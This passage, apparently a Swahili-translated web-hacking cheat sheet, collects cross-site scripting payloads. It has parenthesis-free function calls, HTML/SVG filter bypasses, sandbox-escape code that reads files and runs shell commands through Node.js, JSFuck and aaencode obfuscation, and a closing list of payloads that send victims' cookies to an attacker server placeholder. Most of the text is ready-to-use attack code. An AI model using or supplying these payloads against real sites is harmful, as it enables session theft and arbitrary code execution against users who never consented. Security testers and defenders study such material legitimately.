eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Wito wa kazi ya kiholela (alert)

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

Mazingira ya DOM

Kuna msimbo wa JS unaotumia data isiyolindwa na mshambuliaji kama vile location.href. Mshambuliaji, anaweza kutumia hii kutekeleza msimbo wa JS wa kupindukia.
Kutokana na upanuzi wa maelezo ya mazingira ya DOM vulnerabilities ilisogezwa kwenye ukurasa huu:

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

Huko utapata maelezo ya kina kuhusu ni nini mazingira ya DOM vulnerabilities, jinsi yanavyosababishwa, na jinsi ya kuzitumia.
Pia, usisahau kwamba mwishoni mwa chapisho lililotajwa unaweza kupata maelezo kuhusu mashambulizi ya DOM Clobbering.

Njia Nyingine za Kupita

Unicode Iliyopangiliwa

Unaweza kuangalia ikiwa thamani zilizorudishwa zinapitia upangilishaji wa unicode kwenye seva (au upande wa mteja) na kutumia hii kukiuka ulinzi. Pata mfano hapa.

Kukiuka Bendi ya PHP FILTER_VALIDATE_EMAIL

"><svg/onload=confirm(1)>"@x.y

Kupita kwa Ruby-On-Rails

Kutokana na RoR mass assignment quotes huwekwa kwenye HTML na kisha kizuizi cha quote kinapuuzwa na uga wa ziada (onfocus) unaweza kuongezwa ndani ya lebo.
Kwa mfano (kutoka kwenye ripoti hii), ikiwa unatuma mzigo:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Jozi "Key","Value" itarudiwa kama hivi:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Kisha, sifa ya onfocus itaingizwa na XSS itatokea.

Mchanganyiko Maalum

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS na uingizaji wa kichwa katika jibu la 302

Ikiwa utagundua kuwa unaweza kuingiza vichwa katika jibu la Uelekezaji wa 302, unaweza kujaribu kuifanya kivinjari kutekeleza JavaScript ya kupindukia. Hii si rahisi kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimbo wa hali ya jibu la HTTP ni 302, hivyo payload ya udukuzi wa tovuti ni bure.

Katika ripoti hii na hii nyingine unaweza kusoma jinsi unavyoweza jaribu itifaki kadhaa ndani ya kichwa cha Mahali na uone ikiwa yeyote kati yao inaruhusu kivinjari kutathmini na kutekeleza payload ya XSS ndani ya mwili.
Itifaki zilizojulikana hapo awali: mailto://, //x:1/, ws://, wss://, kichwa cha Mahali kilicho wazi, resource://.

Barua, Nambari na Dots Pekee

Ikiwa unaweza kuonyesha wito wa nyuma ambao javascript itatekeleza umepunguzwa kwa wahusika hao tu. Soma sehemu hii ya chapisho hili ili ujue jinsi ya kutumia tabia hii.

Aina za Yaliyomo ya `<script>` Zinazokubalika kwa XSS

(Kutoka hapa) Ikiwa unajaribu kupakia skripti na aina ya yaliyomo kama vile application/octet-stream, Chrome itatoa kosa lifuatalo:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' kwa sababu aina yake ya MIME (‘application/octet-stream’) haiwezi kutekelezwa, na uchunguzi wa aina ya MIME ulio imara umewezeshwa.

Aina pekee za Yaliyomo ambazo zitaiwezesha Chrome kutekeleza skripti iliyopakiwa ni zile ndani ya const kSupportedJavascriptTypes kutoka https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Aina za Script za XSS

(Kutoka hapa) Kwa hivyo, aina zipi zinaweza kuashiria kupakia script?

<script type="???"></script>

Jibu ni:

moduli (chaguo-msingi, hakuna kitu cha kufafanua)
webbundle: Web Bundles ni kipengele ambacho unaweza kufunga data nyingi (HTML, CSS, JS...) pamoja katika faili ya .wbn.

<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP

importmap: Inaruhusu kuboresha muundo wa uingizaji

<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>

Hii tabia ilitumika katika makala hii kurekebisha maktaba kwa eval ili kuitumia kusababisha XSS.

speculationrules: Kipengele hiki kimsingi ni kutatua baadhi ya matatizo yanayosababishwa na upyaishaji wa awali. Inafanya kazi kama ifuatavyo:

<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>

Aina za Yaliyomo kwenye Wavuti kwa XSS

(Kutoka hapa) Aina zifuatazo za yaliyomo zinaweza kutekeleza XSS kwenye vivinjari vyote:

text/html
application/xhtml+xml
application/xml
text/xml
image/svg+xml
text/plain (?? sio kwenye orodha lakini nadhani nimeiona katika CTF)
application/rss+xml (lemaza)
application/atom+xml (lemaza)

Katika vivinjari vingine Aina za Yaliyomo zingine zinaweza kutumika kutekeleza JS ya kiholela, angalia: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

Aina ya Yaliyomo ya xml

Ikiwa ukurasa unarudisha aina ya yaliyomo ya text/xml, inawezekana kuonyesha nafasi ya majina na kutekeleza JS ya kiholela:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Mifano Ma Kipekee ya Badiliko

Wakati kitu kama "baadhi ya {{template}} data".replace("{{template}}", <user_input>) inapotumika. Mshambuliaji anaweza kutumia badiliko maalum ya herufi kujaribu kukiuka baadhi ya ulinzi: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Kwa mfano katika hii andishi, hii ilitumika kusafisha herufi ya JSON ndani ya script na kutekeleza nambari za aina yoyote.

Akiba ya Chrome kwa XSS

{% content-ref url="chrome-cache-to-xss.md" %} chrome-cache-to-xss.md {% endcontent-ref %}

Kutoroka Kutoka XS Jails

Ikiwa una seti ndogo tu ya herufi za kutumia, angalia suluhisho zingine halali kwa matatizo ya XSJail:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Ikiwa kila kitu hakina ufafanuzi kabla ya kutekeleza nambari isiyosadikika (kama ilivyo katika hii andishi) inawezekana kuzalisha vitu vya kutumika "kutoka hakuna" kwa kudhuru utekelezaji wa nambari isiyosadikika:

Kutumia import()

// although import "fs" doesn’t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))

Kupata require kwa njia isiyo ya moja kwa moja

Kulingana na hii moduli zinazofungwa na Node.js ndani ya kazi, kama hivi:

(function (exports, require, module, __filename, __dirname) {
// our actual module code
});

Kwa hivyo, ikiwa kutoka kwa moduli hiyo tunaweza kuita kazi nyingine, ni rahisi kutumia arguments.callee.caller.arguments[1] kutoka kwa kazi hiyo ili kupata upatikanaji wa require:

{% code overflow="wrap" %}

(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()

{% endcode %}

Kwa njia sawa na mfano uliopita, ni inawezekana kutumia wachambuzi wa makosa kupata mfuko wa moduli na kupata kazi ya require:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

Obfuscations tofauti kwenye ukurasa mmoja: https://aem1k.com/aurebesh.js/
https://github.com/aemkei/katakana.js
https://ooze.ninja/javascript/poisonjs
https://javascriptobfuscator.herokuapp.com/
https://skalman.github.io/UglifyJS-online/
http://www.jsfuck.com/
JSFuck ya kisasa zaidi: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
http://utf-8.jp/public/jjencode.html
https://utf-8.jp/public/aaencode.html
https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses

//Katana
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>

//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>

//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>

//aaencode
ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻   //*´∇｀*/ ['_']; o=(ﾟｰﾟ)  =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ '_')[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +'_') [c^_^o];(ﾟДﾟ) ['c'] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) ['o'] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) ['c']+(ﾟДﾟ) ['o']+(ﾟωﾟﾉ +'_')[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +'_') [ﾟｰﾟ] + ((ﾟДﾟ) +'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) ['c']+((ﾟДﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) ['o']+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) ['_'] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_') [o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟﾉ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='\\'; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='\"';(ﾟДﾟ) ['_'] ( (ﾟДﾟ) ['_'] (ﾟεﾟ+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_');

// It's also possible to execute JS code only with the chars: []`+!${}

XSS mizigo ya kawaida

Mzigo wa mizigo kadhaa ndani ya 1

{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}

Pata Vidakuzi

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
